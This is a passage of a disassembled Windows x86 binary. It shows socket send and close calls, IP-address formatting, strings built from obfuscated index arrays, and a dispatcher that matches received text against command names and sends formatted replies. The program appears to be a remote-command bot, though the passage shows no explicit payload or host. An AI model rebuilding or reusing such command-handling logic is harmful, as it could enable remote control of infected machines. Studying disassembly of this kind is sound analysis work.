var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_4470F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CDC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447120
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CC4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C8E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	sub_5EA1BD
		nop
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F60
		call	sub_4015D7
		push	offset dword_443D08
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443CF8
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CEC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_4470F0
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_4470F8
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CDC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
